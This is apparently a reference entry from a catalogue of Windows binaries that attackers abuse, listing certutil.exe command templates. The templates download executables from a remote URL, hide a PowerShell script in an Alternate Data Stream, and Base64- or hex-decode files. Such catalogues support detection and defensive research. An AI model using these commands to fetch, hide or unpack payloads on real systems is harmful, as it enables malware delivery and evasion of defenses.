Windows binary used for handling certificates
Download and save an executable to disk in the current folder.
certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}
Download and save an executable to disk in the current folder when a file path is specified, or %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\[hash] when not.
certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}
Download and save an executable to %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\[hash].
certutil.exe -URL {REMOTEURL:.exe}
Download and save a .ps1 file to an Alternate Data Stream (ADS).
certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt
Command to encode a file using Base64
certutil -encode {PATH} {PATH:.base64}
Command to decode a Base64 encoded file.
certutil -decode {PATH:.base64} {PATH}
Command to decode a hexadecimal-encoded file.
certutil -decodehex {PATH:.hex} {PATH}